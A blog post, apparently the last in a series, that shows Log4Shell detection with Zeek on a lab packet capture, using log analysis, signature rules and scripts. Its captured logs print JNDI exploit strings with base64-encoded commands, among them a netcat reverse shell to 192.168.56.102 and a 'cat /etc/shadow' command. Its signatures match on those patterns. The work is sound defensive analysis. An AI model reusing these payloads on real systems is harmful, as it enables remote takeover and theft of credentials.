Now that we understand the vulnerability and exploit, as well as having performed packet analysis using TShark and automated using Snort3, time to use Zeek against this pcap. Looking at Zeek from 3 different perspectives. First we will be running Zeek against the pcap to see what shows up. Second will be a Zeek signature and third writing a simple script to detect our activities.
My version of Zeek
┌──(root💀securitynik)-[~/log4j] └─# zeek --version zeek version 4.2.0-dev.477
Running Zeek against the pcap, we see.
┌──(root💀securitynik)-[/tmp] └─# zeek --readfile /root/log4j/log4-shell.pcapng warning: problem initializing NB-DNS: connect(192.168.0.1): Network is unreachable 1640023652.008320 warning in /usr/local/zeek/share/zeek/base/misc/find-checksum-offloading.zeek, line 54: Your trace file likely has invalid TCP checksums, most likely from NIC checksum offloading. By default, packets with invalid checksums are discarded by Zeek unless using the -C command-line option or toggling the 'ignore_checksums' variable. Alternatively, disable checksum offloading by the network adapter to ensure Zeek analyzes the actual checksums that are transmitted. 1640029378.365160 warning in /usr/local/zeek/share/zeek/base/misc/find-filtered-trace.zeek, line 69: The analyzed trace file was determined to contain only TCP control packets, which may indicate it's been pre-filtered. By default, Zeek reports the missing segments for this type of trace, but the 'detect_filtered_trace' option may be toggled if that's not desired.
Note the warning about invalid TCP checksums. Remember, in the previous post with Snort3, we had similar problems and had to disable checksum validation. Looking to see what logs were created without checksum validation disabled.
┌──(root💀securitynik)-[/tmp] └─# ls *.log conn.log packet_filter.log reporter.log weird.lo
Deleting these logs
┌──(root💀securitynik)-[/tmp] └─# rm -rf *.log
Running Zeek again, with checksum validation disabled.
┌──(root💀securitynik)-[/tmp] └─# zeek --readfile /root/log4j/log4-shell.pcapng --no-checksums warning: problem initializing NB-DNS: connect(192.168.0.1): Network is unreachable
Got part of the warning we saw above. Not sure what this is about. No need to look at it right now, as it will not impact our analysis.
Looking at the logs created.
┌──(root💀securitynik)-[/tmp] └─# ls *.log conn.log files.log http.log packet_filter.log weird.log
We have 2 more logs than we had before. Now we have http.log and files.log.
Taking a look at the conn.log to understand what hosts were communicating, their ports and services, while getting statistics on the frequency of their communication.
┌──(root💀securitynik)-[/tmp] └─# zeek-cut id.orig_h id.resp_h id.resp_p service < conn.log | sort | uniq --count | sort --numeric --reverse 616 172.17.0.1 172.17.0.2 8080 http 21 172.17.0.2 192.168.56.102 389 - 19 172.17.0.1 172.17.0.2 8080 - 3 172.17.0.2 192.168.56.102 443 http 1 172.17.0.2 192.168.56.102 80 - 1 172.17.0.1 172.17.0.2 80 - 1 172.17.0.1 172.17.0.2 443 - 1 172.17.0.1 172.17.0.2 389 -
From above, we may decide to give priority to the ones with least seen occurrences. These ones may be considered more interesting to you and is where I would probably start, if looking at things from this view.
Adding the duration to get a different perspective, to understand which one of these should be really given my priority.
┌──(root💀securitynik)-[/tmp] └─# zeek-cut id.orig_h id.resp_h id.resp_p service duration < conn.log | sort --key=5 --numeric --reverse | more 172.17.0.2 192.168.56.102 80 - 254.944665 172.17.0.2 192.168.56.102 389 - 46.102546 172.17.0.2 192.168.56.102 389 - 20.838319 172.17.0.2 192.168.56.102 443 http 10.035707 172.17.0.2 192.168.56.102 443 http 10.003881 172.17.0.2 192.168.56.102 443 http 5.002082 172.17.0.1 172.17.0.2 8080 http 0.211523 172.17.0.2 192.168.56.102 389 - 0.184407 172.17.0.1 172.17.0.2 8080 http 0.113805 172.17.0.1 172.17.0.2 8080 http 0.032053 172.17.0.1 172.17.0.2 8080 http 0.025268 172.17.0.2 192.168.56.102 389 - 0.020236 172.17.0.1 172.17.0.2 8080 http 0.019386 172.17.0.2 192.168.56.102 389 - 0.018122 ...
Looking at above, it seems the conversation that had the highest duration of 254 seconds, was done between an internal host at 172.17.0.2 and external host at 192.168.56.102 on port 80. This should not be to too hard to figure out what this was about, as we hope this would be in the http.log, since Zeek would use it's HTTP protocol analyzer and we know port 80 is typically associated with HTTP.
What about the date and time when this long duration activity occurred? Also, to understand more about the exact session, we will need the source port from the client side of the communication. Let's dig a bit deeper, getting a little bit more intelligence into this as well as the next 4 sessions, before moving on to look at the http.log file.
┌──(root💀securitynik)-[/tmp] └─# zeek-cut -d ts id.orig_h id.orig_p id.resp_h id.resp_p service duration < conn.log | grep --perl-regexp "\s+254\.|\s+46\.|\s+20\.|\s+10\." 2021-12-20T13:07:32-0500 172.17.0.2 51832 192.168.56.102 443 http 10.035707 2021-12-20T13:39:14-0500 172.17.0.2 51834 192.168.56.102 443 http 10.003881 2021-12-20T14:00:58-0500 172.17.0.2 37957 192.168.56.102 80 - 254.944665 2021-12-20T14:42:37-0500 172.17.0.2 36846 192.168.56.102 389 - 20.838319 2021-12-20T14:42:12-0500 172.17.0.2 36844 192.168.56.102 389 - 46.102546
With an understanding of when the activity occurred, who the communication was between the service involved and the duration, we are now in a better position to track each session. Let's jump to the http.log to see what we can get for that session with 254+ seconds of activity, by doing a grep for the source port.
┌──(root💀securitynik)-[/tmp] └─# cat http.log | grep 37957
Bummer! Nothing was returned above. This is concerning, considering this traffic occurred on port 80 and should have been seen as HTTP. Actually it is not concerning! We could have known even before this step, that Zeek might not have this in the HTTP log. We know this because we can see the last 3 lines of "-" while the first 2 has "http". Fortunately, for us there is the weird.log file, we can check for activity which Zeek did not understand or what it considers anomalous.
┌──(root💀securitynik)-[/tmp] └─# ls weird.log weird.log ┌──(root💀securitynik)-[/tmp] └─# cat weird.log | grep 37957 1640026882.788799 CJAIvBhxDCpaF4JI3 172.17.0.2 37957 192.168.56.102 80 bad_HTTP_request - F zeek HTTP
Boom! There is one match.
Rather than searching all the other logs individually for interesting activity manually, let's quickly correlate all of this by using the UID "CJAIvBhxDCpaF4JI3".
┌──(root💀securitynik)-[/tmp] └─# grep "CJAIvBhxDCpaF4JI3" *.log conn.log:1640026858.987870 CJAIvBhxDCpaF4JI3 172.17.0.2 37957 192.168.56.102 80 tcp - 254.944665 742 46 S1 --0 ShAdDa 18 1686 17 938 - weird.log:1640026882.788799 CJAIvBhxDCpaF4JI3 172.17.0.2 37957 192.168.56.102 80 bad_HTTP_request - F zeek HTTP
Interesting, Zeek only has activities in the conn.log and the weird.log. No need to perform any additional analysis here. Been there done that!
Cheating to see which logs the other four source ports show up in.
┌──(root💀securitynik)-[/tmp] └─# grep --perl-regexp "51832|51834|36846|36844" *.log conn.log:1640023652.118623 CzZ5Kn3tnTTKLDfsTl 172.17.0.2 51832 192.168.56.102 443 tcp http 10.035707 181 1294 SF --0 ShADadFf 7 553 5 1562 - conn.log:1640025554.666782 Clh2Jh2EYh1eKmCDB3 172.17.0.2 51834 192.168.56.102 443 tcp http 10.003881 181 1299 SF --0 ShADadFf 7 553 5 1567 - conn.log:1640029357.522055 Cr9vCs4xT4rDbpVMI3 172.17.0.2 36846 192.168.56.102 389 tcp - 20.838319 118 74 SF --0 ShADadFf 10 646 8 498 - conn.log:1640029332.258490 CDMPX92ZOjuLsQTySk 172.17.0.2 36844 192.168.56.102 389 tcp - 46.102546 118 74 SF --0 ShADadFf 10 646 8 498 - http.log:1640023652.119439 CzZ5Kn3tnTTKLDfsTl 172.17.0.2 51832 192.168.56.102 443 1 GET 192.168.56.102 /ExploitQ8v7ygBW4i.class -1.1 Java/1.8.0_181 - 0 1216 200 OK - - (empty) - - - - - - Fm2Pk636DiMArmDn03 -application/x-java-applet http.log:1640025554.667458 Clh2Jh2EYh1eKmCDB3 172.17.0.2 51834 192.168.56.102 443 1 GET 192.168.56.102 /ExploitSMMZvT8GXL.class -1.1 Java/1.8.0_181 - 0 1221 200 OK - - (empty) - - - - - - Fz7ckavJbacqKLihd -application/x-java-applet
From above, we see the two entries flagged as HTTP service, actually shows up in the http.log file. We also see information on the java class file which was downloaded along with the HTTP method (GET) and mime type (application/x-java-applet). We also see the 200 response, indicating the requested resource was returned successfully. With this information, we can now review the files.log to gain additional intelligence.
┌──(root💀securitynik)-[/tmp] └─# zeek-cut -d ts fuid tx_hosts rx_hosts source filename seen_bytes total_bytes < files.log | grep --perl-regexp "Fm2Pk636DiMArmDn03|Fz7ckavJbacqKLihd" 2021-12-20T13:07:32-0500 Fm2Pk636DiMArmDn03 192.168.56.102 172.17.0.2 HTTP - 1216 1216 2021-12-20T13:39:14-0500 Fz7ckavJbacqKLihd 192.168.56.102 172.17.0.2 HTTP - 1221 1221
At this point, we have insights into the files seen, when they were downloaded, the number of bytes of the file, etc.
We can continue looking at the Zeek logs as part of our incident response process. However, for me and this post, there is not much more intelligence to extract from these sessions.
Now that we have done the manual work, let write a few Zeek signatures to detect this activity in an automated way.
┌──(root💀securitynik)-[~/log4j] └─# touch log4-shell-zeek.sig
# To reduce noise, this will not alert # The next rule depends on this # before raising an notice and creating an event signature log4-shell-sig { ip-proto == tcp header tcp[13] == 0x02 # Test the TCP flags to see if SYN is set src-ip == 172.17.0.0/16 dst-ip != 172.17.0.0/16 dst-port == 389 } # Generate an alert when there is an established session sceen on 389/tcp (LDAP) signature log4-shell-est-sig { ip-proto == tcp header tcp[13:2] >= 0x18 # Testing one byte fails for me. Just cheating here by lookint at 2 bytes instead. src-ip == 172.17.0.0/16 dst-ip != 172.17.0.0/16 dst-port == 389 payload /.*Basic\/Command\/Base64\/.*?=/ tcp-state established, originator event "SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation" requires-signature log4-shell-sig } # This one looks specifically for JNDI in our pcap signature log4-shell-jndi { header ip[9] == 0x06 header ip[12:4] != 172.17.0.2/32 header ip[16:4] == 172.17.0.2/32 header tcp[2:2] == 8080 # Look at the destination port tcp-state established, originator payload /.*\$\{jndi:ldap:\/\/{1,3}.{1,3}.{1,3}.{1,3}.*Base.*?\}/i event "POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND" } # Look for netcat signature log4-shell-nc { header ip[9] == 0x06 header ip[12:4] != 172.17.0.0/16 header ip[16:4] == 172.17.0.2/32, 172.17.0.1 header tcp[0:2] == 80 # Look at the source port tcp-state established, responder payload /.*\/etc\/shadow/ event "POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)" }
Running this against the pcap.
┌──(root💀securitynik)-[/tmp] └─# zeek --readfile /root/log4j/log4-shell.pcapng --no-checksums --rulefile /root/log4j/log4-shell-zeek.sig ┌──(root💀securitynik)-[/tmp] └─# ls *.log conn.log files.log http.log notice.log packet_filter.log signatures.log weird.log
Reviewing the signatures.log file to see what triggered.
┌──(root💀securitynik)-[/tmp] └─# zeek-cut -m -d ts uid src_addr src_port dst_addr dst_port note sig_id event_msg sub_msg < signatures.log | more ts uid src_addr src_port dst_addr dst_port note sig_id event_msg sub_msg 2021-12-20T13:07:32-0500 CZGCty1ObPE9uwe9ul 172.17.0.1 60316 172.17.0.2 8080 Signatures::Sensitive_Signature log4-shell-jndi 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3Rt cC9wd25l... 2021-12-20T13:07:32-0500 C8OUK6eTadZLd5f39 172.17.0.2 36820 192.168.56.102 389 Signatures::Sensitive_Signature log4-shell-est-sig 172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation 0o\x02\x01\x02cM\x04-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectCl ass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4.2 2021-12-20T13:38:30-0500 CiTeN13ApWQV4M9aC3 172.17.0.1 60318 172.17.0.2 8080 Signatures::Sensitive_Signature log4-shell-jndi 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMg PiAvdG1w... 2021-12-20T13:39:14-0500 CBOV6S3YQW1Z7Lvsw8 172.17.0.1 60320 172.17.0.2 8080 Signatures::Sensitive_Signature log4-shell-jndi 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMg PiAvdG1w... 2021-12-20T13:39:14-0500 C0iyig49VLcYW1J8l7 172.17.0.2 36822 192.168.56.102 389 Signatures::Sensitive_Signature log4-shell-est-sig 172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation 0w\x02\x01\x02cU\x045Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0b objectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4.2 2021-12-20T14:00:58-0500 Ca7Ekq32Xv46VNjLbc 172.17.0.1 60324 172.17.0.2 8080 Signatures::Sensitive_Signature log4-shell-jndi 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2 OC41Ni4x... 2021-12-20T14:00:58-0500 Cj3OI9WTGBxiVlJ1d 172.17.0.2 36824 192.168.56.102 389 Signatures::Sensitive_Signature log4-shell-est-sig 172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation 0\x81\x8b\x02\x01\x02ci\x04IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\ x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4... 2021-12-20T14:05:13-0500 CSRztzObGbPaX1kXf 192.168.56.102 80 172.17.0.2 37957 Signatures::Sensitive_Signature log4-shell-nc 192.168.56.102: POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP) cat /etc/shadow\x0a
Good stuff, our signatures worked. Looking at the notice.log file.
┌──(root💀securitynik)-[/tmp] └─# zeek-cut -m -d ts uid id.orig_h id.orig_p id.resp_h id.resp_p note msg actions sub < notice.log ts uid id.orig_h id.orig_p id.resp_h id.resp_p note msg actions sub 2021-12-20T13:07:32-0500 CZGCty1ObPE9uwe9ul 172.17.0.1 60316 172.17.0.2 8080 Signatures::Sensitive_Signature 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND Notice::ACTION_LOG GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25l... 2021-12-20T13:07:32-0500 C8OUK6eTadZLd5f39 172.17.0.2 36820 192.168.56.102 389 Signatures::Sensitive_Signature 172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation Notice::ACTION_LOG 0o\x02\x01\x02cM\x04-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4.2 2021-12-20T13:38:30-0500 CiTeN13ApWQV4M9aC3 172.17.0.1 60318 172.17.0.2 8080 Signatures::Sensitive_Signature 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND Notice::ACTION_LOG GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1w... 2021-12-20T13:39:14-0500 CBOV6S3YQW1Z7Lvsw8 172.17.0.1 60320 172.17.0.2 8080 Signatures::Sensitive_Signature 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND Notice::ACTION_LOG GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1w... 2021-12-20T13:39:14-0500 C0iyig49VLcYW1J8l7 172.17.0.2 36822 192.168.56.102 389 Signatures::Sensitive_Signature 172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation Notice::ACTION_LOG 0w\x02\x01\x02cU\x045Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4.2 2021-12-20T14:00:58-0500 Ca7Ekq32Xv46VNjLbc 172.17.0.1 60324 172.17.0.2 8080 Signatures::Sensitive_Signature 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND Notice::ACTION_LOG GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4x... 2021-12-20T14:00:58-0500 Cj3OI9WTGBxiVlJ1d 172.17.0.2 36824 192.168.56.102 389 Signatures::Sensitive_Signature 172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation Notice::ACTION_LOG 0\x81\x8b\x02\x01\x02ci\x04IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4... 2021-12-20T14:05:13-0500 CSRztzObGbPaX1kXf 172.17.0.2 37957 192.168.56.102 80 Signatures::Sensitive_Signature 192.168.56.102: POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP) Notice::ACTION_LOG cat /etc/shadow\x0a
So far, we have looked at using Zeek from two perspectives. First by simply reviewing the logs. Second my taking advantage of its signature capabilities. Let's now wrap this up with a script.
The first script, will detect when our signature "log4-shell-est-sig" triggers.
Here is what the first script looks like.
module log4Shell; # Detect when our signature "log4-shell-est-sig" triggers event signature_match(state: signature_state, msg: string, data: string) { if (state$sig_id == "log4-shell-jndi") { print "HEADS-UP **log4-shell-est-sig** FIRED!" ; } }
When this is run, we see ...
┌──(root💀securitynik)-[/tmp] └─# zeek --readfile /root/log4j/log4-shell.pcapng --no-checksums --rulefile /root/log4j/log4-shell-zeek.sig /root/log4j/log4-shell-zeek-script.zeek HEADS-UP **log4-shell-est-sig** FIRED! HEADS-UP **log4-shell-est-sig** FIRED! HEADS-UP **log4-shell-est-sig** FIRED! HEADS-UP **log4-shell-est-sig** FIRED!
Obviously, writing this to the screen is only for demo purposes. You may choose to perform some action such as send an email or something else.
Let's continue.
When we revisit some of the activity within our packet analysis, wee see patterns such as.
┌──(root💀securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more 1 2021-12-20 13:05:05.954935 172.17.0.1 → 172.17.0.2 TCP 74 60314 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4090634673 TSecr=0 WS=128 13 2021-12-20 13:07:32.008320 172.17.0.1 → 172.17.0.2 TCP 74 60316 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4090780727 TSecr=0 WS=128 18 2021-12-20 13:07:32.023122 172.17.0.2 → 192.168.56.102 TCP 74 36820 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869562 TSecr=0 WS=128 31 2021-12-20 13:07:32.118623 172.17.0.2 → 192.168.56.102 TCP 74 51832 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869658 TSecr=0 WS=128 53 2021-12-20 13:38:30.063458 172.17.0.1 → 172.17.0.2 TCP 74 60318 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4092638782 TSecr=0 WS=128 63 2021-12-20 13:39:14.661012 172.17.0.1 → 172.17.0.2 TCP 74 60320 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4092683379 TSecr=0 WS=128 68 2021-12-20 13:39:14.663146 172.17.0.2 → 192.168.56.102 TCP 74 36822 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772202 TSecr=0 WS=128 81 2021-12-20 13:39:14.666782 172.17.0.2 → 192.168.56.102 TCP 74 51834 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772206 TSecr=0 WS=128 103 2021-12-20 14:00:58.960277 172.17.0.1 → 172.17.0.2 TCP 74 60324 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4093987679 TSecr=0 WS=128 108 2021-12-20 14:00:58.962074 172.17.0.2 → 192.168.56.102 TCP 74 36824 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076501 TSecr=0 WS=128 121 2021-12-20 14:00:58.968858 172.17.0.2 → 192.168.56.102 TCP 74 51836 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076508 TSecr=0 WS=128
Looking above, we can see a connection to destination port 8080, followed by a connection to port 389 then a connection to port 443.
Modifying the filter to focus solely on our critical asset initiating those connections.
┌──(root💀securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.src == 172.17.0.2) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more 18 2021-12-20 13:07:32.023122 172.17.0.2 → 192.168.56.102 TCP 74 36820 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869562 TSecr=0 WS=128 31 2021-12-20 13:07:32.118623 172.17.0.2 → 192.168.56.102 TCP 74 51832 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869658 TSecr=0 WS=128 68 2021-12-20 13:39:14.663146 172.17.0.2 → 192.168.56.102 TCP 74 36822 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772202 TSecr=0 WS=128 81 2021-12-20 13:39:14.666782 172.17.0.2 → 192.168.56.102 TCP 74 51834 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772206 TSecr=0 WS=128 108 2021-12-20 14:00:58.962074 172.17.0.2 → 192.168.56.102 TCP 74 36824 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076501 TSecr=0 WS=128 121 2021-12-20 14:00:58.968858 172.17.0.2 → 192.168.56.102 TCP 74 51836 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076508 TSecr=0 WS=128
We can see a clearer pattern of port 389 communication follow by port 443.
By correlating these activities, we are making it easier to reduce false positives. Thus any notification from this script, should be more concerning than simply looking at port 389 or 443 individually.
# Define our internal hosts global internal_hosts: set[addr] = { 172.17.0.1, 172.17.0.2 } ; # Define our critical asset global critical_assets: set[addr] = { 172.17.0.2 } ; # Store EXTERNAL connections (source IP, dst port) in a table global tracked_external_conections: table[addr, port] of string; # Leverage the event that looks for SYN connections event connection_SYN_packet(c: connection, pkt: SYN_packet) { # Check for the port 389 connection if ( c$id$orig_h in critical_assets && c$id$resp_h !in internal_hosts && c$id$resp_p == 389/tcp) { # Add the information to our table tracked_external_conections[c$id$orig_h, c$id$resp_p] = "TRACKING LDAP"; return; } # Now check the port 443 initiation as well as if information on the host was previously stored. if ( c$id$orig_h in critical_assets && c$id$resp_h !in internal_hosts && c$id$resp_p == 443/tcp && [c$id$orig_h, 389/tcp] in tracked_external_conections ) { print "[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION"; print fmt(" \\-> %s made a recent 389/tcp now making port 443 connection", c$id$orig_h); return; } }
With the code completed, let's run it against the pcap.
┌──(root💀securitynik)-[/tmp] └─# zeek --readfile /root/log4j/log4-shell.pcapng --no-checksums --rulefile /root/log4j/log4-shell-zeek.sig /root/log4j/log4-shell-zeek-script.zeek [!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection [!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection [!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection [!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection [!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection [!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection
Once again, writing this to the screen is just for this demo purpose. Maybe instead you want to send an email about this or perform some other action. Also, realistically, you will need to add your script to your local.zeek file.
Here is an example of that.
┌──(root💀securitynik)-[/tmp] └─# echo "@load /root/log4j/log4-shell-zeek-script.zeek" >> /usr/local/zeek/share/zeek/site/local.zeek ┌──(root💀securitynik)-[/tmp] └─# tail --lines=1 /usr/local/zeek/share/zeek/site/local.zeek @load /root/log4j/log4-shell-zeek-script.zeek
Once completed, deploy your changes.
┌──(root💀securitynik)-[/tmp] └─# zeekctl deploy checking configurations ... installing ... creating policy directories ... installing site policies ... generating standalone-layout.zeek ... generating local-networks.zeek ... generating zeekctl-config.zeek ... generating zeekctl-config.sh ... stopping ... stopping zeek ... starting ... starting zeek ...
Validate the changes were successfully deployed and Zeek is now running.
┌──(root💀securitynik)-[/tmp] └─# zeekctl status Name Type Host Status Pid Started securitynik-zeek standalone localhost running 84525 23 Dec 14:30:28
Well that's it for this series and my understanding of the Log4J vulnerability, it's exploitation and detection.
Posts in this series:
Learning by practicing: Beginning Log4-Shell - Understanding The Issue/Vulnerability (securitynik.com)
Learning by practicing: Continuing Log4Shell - Understanding/Testing The Exploit (securitynik.com)
Learning by practicing: Continuing Log4-Shell - Packet Analysis - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Snort3 Rule - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Zeek - Detection (securitynik.com)
References:
https://docs.zeek.org/en/master/frameworks/signatures.htmlhttps://corelight.com/blog/simplifying-detection-of-log4shellhttps://corelight.com/blog/detecting-the-log4j-exploit-via-zeek-and-ldap-traffichttps://www.ietf.org/archive/id/draft-ietf-tcpm-rfc793bis-25.htmlhttps://docs.zeek.org/en/master/scripts/base/bif/event.bif.zeek.html?highlight=signature#id-signature_matchhttps://docs.zeek.org/en/master/script-reference/types.html?highlight=vector#table